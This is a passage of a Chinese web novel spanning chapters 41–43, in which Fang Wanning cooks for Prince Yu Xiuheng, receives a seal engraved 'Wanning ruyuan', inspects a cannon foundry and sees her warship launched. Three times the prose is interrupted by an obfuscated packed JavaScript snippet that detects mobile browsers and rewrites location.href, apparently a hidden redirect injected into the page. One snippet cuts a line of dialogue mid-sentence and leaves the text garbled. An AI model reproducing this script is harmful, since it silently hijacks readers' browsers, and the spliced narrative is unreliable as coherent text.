她在前往青州,那饕风虐雪的路途上,到底想的是什么?只是来安慰他?或者只是来见见他。 可见到了又该做什么?大概也只是想陪着他,守着他,告诉他别怕。 如同家人一样。 你的来时路我只能耳闻,但你的归途我想牵着你走。 想通之后,方绾宁安心许多,她不再在意俞修衡的独断和在皇族下养出来的攘夺。他内里还是那个前世十八就死掉的张乐川,他灵魂里有另一个时代的薪火,不会覆灭。 肯定不会。 她安心睡去。 青州夜里的风肆掠得更猛烈了,还好方绾宁提前睡了去,要不然就要像俞修衡一样,瘫坐在椅子上,无法入睡。 他晚间送方绾宁回临风榭之后,就坐在书案后的帽椅里,将自己沉在白日那令人发喘的情绪中。 料峭的风正拍打着窗棂,屋里的烛火闪烁,阴影在他的侧脸上一跳一跳。他扶着额,时而盯着那镶嵌了绿松石的书匣,时而打量自己的手,握紧又松开,眉间全是浓稠得让人发苦的思绪。 无数的声音在他脑海里聒噪不已,有让他抓住绝不放手的,也有让他别握太紧的,还有让他去争去抢的,都没有一个声音说要放她走。 俞修衡轻叹一口气,在屋外天光大亮前,截断了臆想。 临风榭里还好有几株常青的植株,让陡然从晋照回来的方绾宁,住进来不会觉得太荒,不过她也并没有把注意力放在这上面,天一亮,破天荒地没赖床,找了王府的厨房,一头扎了进去。 俞修衡到的时候方绾宁的面才揉好,正和张娘子搭话。 “张娘子,王爷平时吃姜吗?味道喜欢偏咸还是偏甜?他食量怎么样,看他最近都瘦了……” 厨房让了一小块地方给方绾宁,大家都知道,现在她的身份可不是当初从河里救起来的小孤女了,前几日还一直住在王爷的沧澜阁,下人们很能观风忘色,因此张娘子站在一旁显得十分局促。 张娘子一一答了,态度十分恭敬。方绾宁也觉察到周围人的不自然,没理会张娘子语气里的疏离,知道她不可能再像齐陵城外那样亲切地喊她“丫头”,方绾宁没再说话,默默做着手里的事。 俞修衡在门外站了一会儿,听厨房里的人口风很紧,并没有说些不该说的,便心安地走了进去。 厨房里的下人们见了他纷纷跪地行礼,俞修衡手一挥让他们起来,走到方绾宁跟前瞧她在做什么。 “在做什么呢,大清早不睡觉。” 方绾宁看见他进来也没停下手里的事,双手还沾着面粉,回答:“做饺子呢,你回沧澜阁等着去,我应该快了。” “想吃让厨房的人做就是,你还在病中,要多休息。”俞修衡说。 方绾宁调好了馅儿,准备开始擀面皮,抽空回答他:“这怎么能一样,我做的自有我独特的风味,而且我就想做给你吃,不行?” 俞修衡听后抿唇一笑,“那我来帮你。”说着就要挽袖。 “哎哎,不用你动手,你出去。”方绾宁手里还拿着擀面杖,推着俞修衡到门外,“这是我的心意,别人不能帮忙,你快回去吧。” 俞修衡看一眼沾在他衣服上的手印,笑得更欢,“好吧,那我等你。” “嗯!”方绾宁又回到厨房继续忙活。 所幸饺子这种食物做起来确实很快,她一口气包了大概三十几个,盛了满满一盆去了沧澜阁。 “不知道你习惯蘸醋还是酱油,我都拿来了,你尝尝。”方绾宁夹了个饺子放进他碗里。 俞修衡到了东洲基本没吃过这东西,只在应京的街边偶尔尝过,但滋味并不怎么样,或许只是跟记忆里的味道有差,也并非是人家味道不好。 他夹起来什么也没蘸,吹了吹,就咬了一大口,白菜猪肉的馅儿,香气十分浓郁,他细细地嚼了,夸道:“好吃,想不到绾宁还会做饭。” 方绾宁见他吃得满意,也夹了一只,蘸了酱油往嘴里送,“也不难,我还会其他的,以后做给你尝尝。” 俞修衡点头应了,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好苦。”方绾宁整张脸都拧成了一团,放下碗,吃了一颗蜜饯压压嘴里的苦味,抬头朝赋思笑,“谢谢赋思。” 赋思也轻笑福身,又对俞修衡说:“王爷,李太医正候在廊下,现在是否要请他进来为方姑娘诊脉?” 俞修衡:“嗯,让他进来吧。” 两人移到旁边的暖阁里,方绾宁心还有点忐忑,怕被诊出来说什么要静养,不宜出行之类的,那就实在让人头疼。 李太医方绾宁第一次见,见并不是须发皆白的老中医还有点怅然若失。他搭了一块锦帕在方绾宁手腕,垂眸诊了约一盏茶的工夫,方收起脉枕。 他向俞修衡汇报方绾宁的病情,“王爷,方姑娘如今虽已退热,但脉象浮而无力,气血略亏,近期还是切记不可吹风,静养为主。” “嗯,辛苦李太医,下去吧。” 方绾宁等到李太医走出了房间,终于是绷不住,瘫在了躺椅上。 “绾宁你也听见了,最近不能出门。”俞修衡正色道。 “那我待在房里岂不是会生霉。”方绾宁有些泄气。 俞修衡嘴角挂着一抹笑意,“有我陪着你。” “你不用忙其他事儿吗?” “没我他们又不是不转了。” 方绾宁得了这句话才高兴起来,“那行,正好让你看看我练的字。” 那也正好让你看看,我刻的章。 俩人各怀心思,谁也不提昨日的事。 果然如方绾宁所料,刚过了午时,青州又开始飘雪了。 42.如愿 第四十二章 俞修衡的书房没有命令是谁也进不去的,所以里面有些乱,来不及收拾,堆了不少公文,还有各方的密信,就那么大剌剌地摆在上面,生怕人看不见似的。但方绾宁真是一个眼神都没留在上面,还顺手替他整理了书案。 方绾宁抽出一张白纸,铺在桌上,在那方砚台里舀了清水,细细地磨起来。俞修衡看她煞有其事的样子只觉得有趣,立在她的身旁,看她准备写些什么。 只见她凝神片刻,挑了一只狼毫,折了衣袖,提笔在空白处落墨。 俞修衡见她写下几个字,发现墨色不对,有些淡,随即拿过砚台上的墨条,将墨重新磨了直至浓郁,方才重新看她写字。 “旸谷宾初日,清台告协风。愿如风有信,长与日俱中。”俞修衡一字一句念了出来,只觉得耳熟,但已经想不起来是谁的诗。 “怎么样?我有没有进步?”方绾宁仰起脸,准备迎接夸赞。 纸上的字比起第一封信时已经是好太多,不再张牙舞爪,已有了形,但还是缺了意。俞修衡正色道:“略带僵硬,少了飘逸,但绾宁已经很棒了,值得夸奖。” 说完,他又拿起笔在她的字旁边,重新将这首诗又抄了一遍。 行云流水,苍劲有力,一气呵成,有了俞修衡的字对比,方绾宁的“墨宝”可算是小儿涂鸦。 她一瞬沉了脸,嗔道:“你打击我呢?” 俞修衡一脸坏笑,“这首诗说的什么?绾宁喜欢?” “嗯,它说的是友谊长存!” 俞修衡的笑僵在脸上。在被方绾宁看出来之前,又软了神色,“为了奖励绾宁好好练字,送你一个东西。” 他没再看那幅字,领着方绾宁到了另一处,从匣子里取出那枚印章。 绿得非常干净的青田石,雕了一朵别致的莲花,俞修衡将印章打磨得十分光滑,在光线下泛着碧色的水纹。 “送我的?真好看。”方绾宁接过来,拿在手里喜爱得不行,又精致又小巧,可一看印面上,却没有刻字,她“咦”了一声问俞修衡,“怎么还没刻字?” 俞修衡解释道:“还没想好刻什么字,一直空着。正好你回来了,绾宁,你想在上面刻什么?” “有讲究?” “也没什么大讲究,有刻名姓、字号,或是闲文的,你想刻一个绾宁天下无双也不会有人说什么。”他打趣道,一边将刻章的工具摆了出来。 “谁要刻这个了。”方绾宁眉眼弯弯,歪着脑袋看他拿着刻刀有模有样的样子,“想不到你还会刻章。” “一点小爱好,只能雕些小玩意儿。”俞修衡嘴角微微上抬,问她:“想好了吗?” 方绾宁随意道:“既然没讲究,就简单刻一个绾宁之印好了。” “嗯,行。”俞修衡接过去将印章固定在印床上,拿着刻刀比了一会儿位置,便果断地下了刀。 方绾宁端了张小凳坐在他旁边瞧,只觉技法娴熟,刻刀翻飞,不一会儿就出了第一个字,等到宁字也显形,方绾宁突然叫停,“等等,小川,我改主意了。” 俞修衡偏头等她继续说。 “后两个字改成如愿吧,绾宁如愿,每次盖章都像许愿一样,想想就有意思。”她掩嘴一笑。 “嗯,我也觉得挺好。” 定下之后,方绾宁没再打断他,规规矩矩坐在一边。等到俞修衡用木刷扫去印面上的灰时,方绾宁便知道,成了。 俞修衡用帕子仔细擦过后,递到方绾宁手上,“绾宁,试试。”他将桌上的印泥也推到她身边。 方绾宁将那枚印章拿在手里,盯着印面上的刻字端详许久,反复抚摸,然后摁在印泥里裹上厚厚一层印油,看着面上被正红盖满了的刻痕,她忽然对俞修衡说道:“小川,你快闭上眼睛许个愿。” 俞修衡犹疑,又见她满脸期待,遂乖乖地闭上眼睛,在心里郑重地许下一个愿望。 还没睁眼,就感觉到自己的右手被她拉着,然后手腕脉搏处一凉,他睁眼,瞧见腕上的红痕,赫然是他刚刻的四个字。 绾宁如愿。 “不管你许的什么愿,我都希望你如愿。”方绾宁握住他的手,望着他的眼睛,坚定而又勇敢地说。 俞修衡喉间一紧,被她拉着的手瞬间僵硬,那枚印似乎并没有盖在他的腕间,明明盖在的是他的心上。 “好。”他轻轻地应了,屋外的雪下得越来越大。 屋内的炉火烧得正旺,方绾宁突然觉得有些闷热,她踮脚去将窗户开了一条缝隙,屋外的凉风吹进来,带起方绾宁鬓边的头发,也交换了房间里干燥的空气,书案上的那幅字吹得卷了边,俞修衡忙过去用镇纸压了。方绾宁看了眼手中的印章,想着正好在那幅字上戳个印,谁知窗外传来了响动。 透过窗缝,屋外檐下挂着的两串风铃正在“叮铃”作响,她抬眸看去只觉得眼熟。 “绾宁?”俞修衡走过来关上了窗,将她揽着带离了窗边,温柔地说:“不要站那吹风。” 一切明明都是那样的有迹可循,可青州的雨雪太重,所有的不可说就这样被埋进了深海里。 接下来的四天,方绾宁老老实实待在府里一步也没有出去过,或许是真的被俞修衡养得极好,在今早的诊脉中得了李太医,恢复得不错的批语。 终于被她逮着机会,可以央求俞修衡带她出门转转了。 大雪昨日就停了,此刻太阳照在落叶上的积雪,刺得方绾宁睁不开眼睛。 马车出了城后又向西穿过一片树林,约一炷香的时间便看见了一片平原,研制火炮的明风营就坐落在此处。 “地方选得不错,又隐蔽,又空旷。”方绾宁扶着俞修衡的手下了马车,路滑,她一直握着他的手腕,问:“你们现在到哪儿一步了?” “绾宁进去看看便知道了。”他们一路进了营,路上不停有人向他行礼,直到一位身着盔甲的将军前来迎接。 方绾宁进了营就放开了俞修衡的手,乖巧地站在他身旁。 “王爷。”那人弯腰行礼。 “罗将军,近期研制还顺利吗?”俞修衡问。 “回王爷,模具按照您上次说的方法已经做成了,只等管内阴干,就能浇筑。火药那边准备得快一些,炮弹已经开始制造。”罗将军回答。 俞修衡点头,“那带我们去看看。” 罗将军侧身,摆出请的姿势,“那王爷,这边走。” 他们先去看了炮模,应该是用失蜡法制作的,此刻数十门大炮模具泥范正立在通风口阴干。方绾宁走过去细细看了,见形状,尺寸,内里的芯,都和她印象中的炮管别无二致,才和俞修衡点头示意,去了下一个地方。 东洲的铁矿西北地区偏多,青州地处东北方,不知道俞修衡从哪儿弄来得那么多铁矿石,这间工坊里烧着熔炉,并不冷,方绾宁脱下狐裘,上前去看了堆在角落的铁矿。 见她蹲在一堆矿石前很久,俞修衡走近,问:“怎么了?可是有问题?” 方绾宁一时也没办法辨认这铁矿纯度如何,抬头和他说:“可以让工匠现场浇筑一个模型出来吗?随便什么都行,也不用过多打磨。” 俞修衡点头,立马唤来罗将军,吩咐下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817902|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为什么都是现成的,过程都很快,方绾宁没等多久就收到了工坊浇筑出来的一个杯具。可表面有些细微的孔洞,不平,光泽也不行,方绾宁拿着那个杯具向俞修衡说道:“你这矿石可能要换,或者提纯工艺得再上一个档次才行,含碳量太高以后,你浇筑出来的模具就会面临着炸膛的风险。” 俞修衡接过那个杯子,摩挲了片刻,看向她说,“嗯,我马上去联系。” “你不是说东洲的灌钢法技艺挺成熟,怎么出来这种东西。” “源头的问题,这批矿石可能不行,我想办法。”俞修衡拿着杯子在营帐内踱步,半晌后,对方绾宁说:“西北有一座矿里面的矿石质量应该不错,就是运输麻烦,又显眼,得费些时间,不知会不会影响后续出海抗击海寇的计划。” 方绾宁过去拍拍他的肩,“没问题的,现在还有时间,而且那泥范没那么容易干,等你的铁矿到了,时间也来得及。“ 两人相视一笑。 下午方绾宁还去看了火药的研制,这个倒没什么问题,技艺很成熟,那个做火药的师傅还现场给他们表演了一个小型的烟花秀,说这个在京城非常受欢迎,如今将烟花变成能爆炸武器,倒是让他感到异常新奇。 见那个师傅对这方面还挺感兴趣,方绾宁留在那和他聊了很久。 “我们现在研制这个不仅仅是为了做大炮的推进器,其实火药的杀伤力还是很大的,你想啊,烟花升上天空能爆炸的话,我们也能把它丢到敌人堆里去啊,那不是一炸一大片。” “不行吧,杀伤力哪儿那么大,最多破皮,我之前就被炸过一次。而且射程太短,还没火弩好用。” “这位师傅,咱们要发散思维,杀伤力不够大,是不是因为火药加得不够多?相斥的其他材料是不是不符合?射程太短是不是缺少爆发冲击力?可以试试将它们裹起来,挤压空间,就留点引线在外面就是了。现在你背靠咱们渊王殿下,手里有大批材料,就算失败了就当涨经验了。发现困难就能克服困难,要是真研制出了一扔出去就能炸一大片的武器,师傅,名留青史啊!” 那火药师傅被方绾宁忽悠得一愣一愣,炯炯有神的双眼流出对未来的展望,积极投身武器发明的伟大事业中去了。 他们在明风营留到申时都快过半,还好今日天晴,日头正好,回程的马车上方绾宁显得十分惬意,窗外是一望无际的雪原,车里是俞修衡柔得出水的目光。 “你看着我干什么?我脸上有东西?”方绾宁见她盯着自己好一会儿。 俞修衡尴尬地将眼神移开,“没,就是发现你好像长高了一点。” “还是小川有眼光,我就说自己长高了,文晓非说没看出来,我觉着我比半年前起码长高了两公分吧。”她兴奋地摸着自己的头顶,又说:“嗯,以后肯定还能再长,要不然老是看你们的下巴,我脖子得酸死。” 俞修衡轻笑,又见她突然坐到自己身旁,一脸神秘的问:“小川你们宫里有没有什么秘方可以长高的,给我来两副。” 他略微一想,回答道:“我没听说有这种方子。” 方绾宁泄气,俞修衡抬手摸了她的头发,安慰道:“女孩子不用长那么高,绾宁这样就很可爱。” 她靠在车璧上,将整张脸陷在雪白的狐裘领里,有些失落。 马车在雪后的道路上走得不太平稳,还好马车里的垫子够厚实,让他们少遭些罪。 临近城门,方绾宁突然开口:“小川,我准备后天就回晋照。” 此话一出,车内像是陷入了死一般的沉寂,好一会儿才听见俞修衡发出声音,“好。” 43.东兴 第四十三章 庆幸这几天的天气都非常好,方绾宁离开的那个早晨,青州大雾弥漫,可行至城门口时有大片橙光刹那间照透了雾霭,他们在腾天的雾气里告别,这一次方绾宁没有不舍,她知道她会很快回来。 俞修衡又一次送走了她,又一次将那枚螭吻玉佩挂在了她的腰间,自王霄归还了他之后,他数次握着那枚玉佩发呆,直到手心出现红痕。 他倒要看看这一次,谁还敢再伤她,哪怕一丝头发。 晋照城。 蒋时彦这几天发现,方绾宁自从回了一趟青州后,性格都变随和了,上次暗讽她还没船舵高,居然都没扣他工钱。 可疑,可疑。他有理由怀疑这趟回青州,王爷铁定给她发了大笔赏钱。 彼时方绾宁正站在甲板上巡视防护板,却发现蒋时彦正幽幽地看着她。 “你很闲?”方绾宁对上他的目光。 蒋时彦被发现,立马装模作样地也跟着她一路巡视,偶尔瞟她一眼,都能发现她上扬的嘴角。 方绾宁当然高兴,不过不是因为俞修衡。 是为她不日就要成为富婆而高兴,青州出发前一日,她就让俞修衡务必统计好青州城内所有的商铺、宅院,还有郊外的田地,无主的可暂归青州衙门,以后租赁出去,又是一大笔城建收入,而那些有主的就趁着现今青州落魄,赶紧低价买入,等海寇剿灭,外患既除,青州人口经济势必回暖,到时候各地商贩入住,她方绾宁就是包租婆了,一年光收房租都是不小的数目,然后再做点小生意,啧啧,银子数到手抽筋。 所以最近方绾宁除了在水沽忙活外,闲暇之余已经开始做起了市调。 东洲什么产业最发达,朝廷扶持力度最大,什么产业已经被各大世家富商垄断,而做哪行风险最小,利润最可观,都在她的考察之中。 咱也不能一辈子靠着俞修衡不是?要想身心独立,必得财富自由。而且,小川可是个苦逼崽子,别看他衣服里绣着金线,那肯定都是死要面子。 俞修衡此时要是听见了方绾宁的心声,恐怕都能被她气得七窍生烟,她是不是低估了一个皇子、亲王的家底?他母亲是皇后,外祖是太傅,两人去世后都给他留了大笔产业,他是被赶往封地了,又不是被抄家了。 她能如此忽略王府的穷奢极欲,只是因为她——不识货,她就算把临风榭里那张紫檀龙凤纹架子床睡烂了,都不会知道它的价值抵得上普通人一辈子不吃不喝的收入。 于是,方绾宁的市调做得非常失败。她除了知道晋照城里有哪些铺子之外,其余的什么市场需求、消费层次、行业竞争等等都是一头雾水。 在方绾宁第五次走在街头唉声叹气时,蒋时彦终于忍不了了,她最近到底在干什么,除了到水沽盯着进度,现在兰苑基本不回,天天带着文晓和他下馆子,走街串巷的,不是酒肆赌坊,就是码头镖局,反正遇见商铺就往里冲,完全不知道有什么目的。 蒋时彦说:“你最近对兰苑的厨子有意见?” 方绾宁道:“没有啊,你怎么这么问?” “那你最近怎么了,天天在街上瞎转悠。” “我只是在思考一个问题。” “什么问题?” 方绾宁正对着一家店铺,向蒋时彦说道:“你看啊,假如我要在这里开一个茶楼,你觉得怎么样?” 蒋时彦打量了一番这家店铺的位置和大致内里结构,然后沉着脸对方绾宁说:“那你肯定会亏死,先不说这家店一眼望到头的容量面积,你看周围起码不少于四家都是卖茶的,你要是单价低廉,又比不上路边茶摊有赚头,可你要是做上等茶楼,那些官家富商子弟压根也不会到这条街来,中等的话就更难熬出头了,你一个新店,怎么把街头那家老字号给比下去?” “所以,你要是在这做茶楼生意,得把你赔个底儿掉。” 方绾宁听得蒋时彦分析得头头是道,竟惊觉他还有这般思维,“没想到你脑子还挺灵光,那按照你的分析,这家店铺应该做什么最合适?” 蒋时彦略微思索道:“要是我准备经商,这间铺子也不会在我的选择范围内,非要做的话,布行应该是比较适合的,而且不卖上等布,就低廉的棉麻布匹和中等的细缎就足够了,这条街来往的人都是小摊商贩和贫苦人家居多,店面不用大和华丽的装潢,要不然人家根本也不敢进。” “而且这两种布匹进货渠道还算容易,不用担忧供货,我们刚才一路走过来就看见街对角那边有一家布行,对家也少,嗯,布行是优选。” 蒋时彦侃侃而谈的样子着实让方绾宁惊讶,还以为这厮只会吹箫抚琴,竟还有经商方面的才能,先前让他跟着自己在水沽学一通简直是对人才的浪费,方绾宁一阵可惜。 “你有这见识,居然还能混成如此模样,可惜了,蒋公子。”方绾宁道。 蒋时彦也不自谦,又无奈道:“也就嘴上说说吧,其实,开店经商也没那么容易,之前还小的时候当过跑腿,也就对晋照的商铺熟悉些,况且你也知道,我们家也不可能有钱来经商的。” “那如果现在有了呢?” 蒋时彦偏过头看她,瞧见她脸上全是正经的神色,问:“怎么,你有这想法?” 方绾宁抿唇一笑,一行人找了个茶楼雅座,坐下来准备慢慢和他谈。 经过这几天,方绾宁也意识到自己对商事这方面是一窍不通,就算脑子里有点理论知识也不知道怎么用,可她善于发现人才,尊重人才啊,只要把脑子里那点技巧和新奇路子交给真正适合这行的人,不一样成? 她觉得这比自己开店还更靠谱些。 “我给你出钱,让你去寻个合适的店铺行商,怎么样?我给你两成的初始股份,赔了算我的,赚了我们按股份,如果这店铺以后经营得好,我还可以给你更多的股,还允许你买我手里的股,直到这店铺完完全全属于你为止。”方绾宁开门见山。 “我觉得这比你跟在我身边,有更大的用处,以后挣了钱,也不怕蒋伯的眼睛没钱治,也不怕时月以后没嫁妆,你完完全全可以靠自己,为他们撑起一片天。” 这话诱惑得蒋时彦脑子一阵发昏,杯里的热茶冒着热气,香味冲进他的鼻腔,让他感到有些酸意。 “你不怕我赔了?”他小心地问。 “都说了,赔了算我的。”方绾宁眼睛发亮,“我这叫投资,肯定有风险,但我觉着,如果把宝压在你身上,你一定不会让我失望。” “放手去干吧,蒋时彦,晋照街头你已经踏遍了,没人比你更懂得这座城的需求,你还在舞坊妓馆待过,人情往来肯定也没问题,我相信你。” 蒋时彦神情茫然了一瞬,思绪渐渐回笼,他往方绾宁手边的杯里倒满了茶,脸上浮现更深的笑意,“那方执事,你就等着数银子吧。” “好,那我拭目以待。” 两人举起茶杯相碰,蒋时彦紧张得力道有些重,洒了些茶水在方绾宁的衣衫上,但此时谁也没去计较这点失礼,他们将茶一饮而尽,就当是提前的庆功酒了。 之后的时间两人都忙得四脚朝天,新年的那段日子方绾宁也是在水沽里过的,陪着青州的人和工匠们,一起吃了顿年夜饭,半夜还观赏到了晋照城的烟花盛典。 郁先生更忙碌了,自方绾宁回来之后也不知道去哪儿了,兰苑极少看见他。倒是邓行闻还在新年送了不少东西过来,方绾宁不知该如何回礼,还好文晓帮了大忙。 蒋时彦的商铺终于在年后第八天正式开了业,是一家食楼,开在离码头不远的摇澜街,离城门也近,最适合匆匆赶路的行商之人。 但方绾宁除了在开业时去看过,之后也没再去过。 因为战船收尾了。 水沽的地方容纳这艘庞大的战船已经有些局促,在立春的第一天,这艘船就沿着内河,到达东边的出海口。 过了元宵,最后的装帆和绳索的链接都在紧锣密鼓地进行着。 一直到了惊蛰,历时九个月的东洲第一艘航海战船就悄然问世了。与之相应的还有数十艘中型战船和小型冲锋船,随着晋照还有些凉意的风,也跟着下了海。 “起锚!” 码头上人流涌动,晋照大大小小的官员和数不清的百姓,都站在岸边看那艘庞然大物收起万斤的船锚,展开风帆,携着春天充满生机的风,进行第一次试航。 “兄长,这次战船下海的消息传到应京,他们怕是想再做点什么,也来不及了。”邓行闻笑着道。 郁见深已有一月之久没出现在晋照,今次收到战船试航的消息,也是马不停蹄地结束行程,赶了回来。望着海上鼓着风,划破浪的战船,心里掩不住的激动,这将成为殿下手里重回应京的关键筹码。 “嗯,我已经安排了人在应京造势。”他轻声说道。 一张密密麻麻的网正在东洲朝堂悄然织就,没有人能挡住它前进的车轮。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837472|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 方绾宁此时正站在甲板上迎着海风,指挥着水手握紧船舵,抬头是高耸的桅杆和被劲风吹得“哗哗”作响的帆,再高些就是澄澈的苍穹,举目远眺是悠远的海,她心潮澎湃,胸腔似乎装满了天地怅然意,独独自由身的错觉。 她快热泪盈眶了,又一次想念起了青州的同族。 是时候回家了。 试航非常成功,晚上的庆功宴安排在晋照最大的酒楼——东兴楼。 除了晋照的官员,方绾宁还特意邀请了那些参与制造的工匠,浩浩荡荡的一大群挤满了东兴。 二楼是朝廷大员们的席,附近区府的官员也都有派人来道贺,大家觥筹交错,推杯换盏,虚与委蛇,半伪半真的或恭贺、或打听、或艳羡,都被郁见深一一化解。 “渊王殿下就算去了青州,也一样如此为天下万民着想,真是东洲之福。” “早先听闻渊王殿下,在应京时冷血无情,想来都是谣言,哈哈哈……” “如今的太子殿下能有渊王这么个好皇弟,真是少了许多担忧哇。” “是啊,今日那船真是雄伟,以后东洲便能航行更远的疆域,为圣上开辟新地!” …… 郁见深眸色加深,作为渊王代行人,端着酒杯含笑受了他们的酒,“都是圣上庇佑天下,战船才能如此顺利,我们渊王虽不在应京,也能尽一些绵薄之力,此福祉落入万民头上,都是为圣上添功德。” 众人宴饮到中场,突然有人问道:“此船不知是何人主持设计,竟有这般才能,快领来我们见见!” 邓行闻脸一黑,那人是你说想见就见的?正要开口拒绝,郁见深发话了,“是一府中小吏,能得诸位大人相见,是他的福气,来人,快让方执事前来让诸位大人见见。” 一人得令出了门去,没一会儿又推门进来,身后却没跟着人,那人回答说:“方执事现在……恐怕没法与诸位大人相见。” 郁见深也不恼,问:“方执事现在在何处?” “就在一楼大堂。” 有一官员却愤怒道:“这小吏竟如此不知分寸,就算是醉了也得抬上来让我看一眼。” 邓行闻赶紧道:“不妨事,明日再见也行。” 那官员不依不饶,站起身就要去大堂,“我今儿偏要去看看。” 邓行闻瞥了一眼郁见深,见他竟然还在淡然喝酒,也不管了忙追上去拦着那个官员。 谁知刚走到楼梯口,就被大堂里喧闹的氛围炸得站住了脚。 大堂全是水沽工匠,也不懂什么规矩,喝了酒声量不自觉就放大了,动作也豪迈,此时正拉着方绾宁灌酒。 蒋时彦替她挡了好几杯,现下也满眼醉意地倚靠在桌上,方绾宁情绪被调动,抄起酒瓶非要和陈师傅干一杯。 她身量小,怕没气势,就挽起袖子,站上了桌,“陈师傅,今晚定叫你躺着出去!”说完便咕噜咕噜地抱着瓶子喝,洒出来的酒水浸透了衣襟,文晓站在后面干着急。 我的方姑娘啊,你又忘了答应殿下的事儿了吧。 她推了推蒋时彦,“蒋公子你快劝劝方执事,她酒量不行的。” 蒋时彦悠悠转醒,一句没听见文晓的话,见方绾宁正站在桌上喝酒,激动得也举起酒杯站起来,冲着堂内大喊:“方执事好酒量,让大家再敬他一杯!” 大厅内纷纷响应,叫嚷声快冲破了屋顶。 文晓扶额,只能让身旁新来的王府护卫时刻盯着方绾宁的身影了。 新来的护卫是个壮硕的大高个,粗犷魁梧,刚才像一座山一样挡住了工匠想近身来敬酒的行径。 文晓对他还挺放心,只要方执事醉倒,就立马将她带回兰苑。 方绾宁一壶下肚,脑子早不清醒了,双颊通红,还不忘放狠话,“呵,看谁还敢说我酒量不行,陈师傅,你……你……” 话还没说完,方绾宁就从桌上一头栽下去,蒋时彦还想趴过去当垫背,半空中就被那护卫接过去,又放回文晓怀里。 大堂中又响起一片喧闹。 那官员站那看了会儿就又回去了,倒不是因为大堂嘈杂,前去见一个小吏有辱身份,是他见到了方绾宁腰间的玉佩,象征着皇子身份的玉佩正赫然挂在她的腰间,他酒霎时醒了一半。 房间众人见那官员回来了,有同僚忙问他那人什么模样,他也是闷着喝酒没有回答。 见此,郁见深嘴角噙满了不明意味的笑意。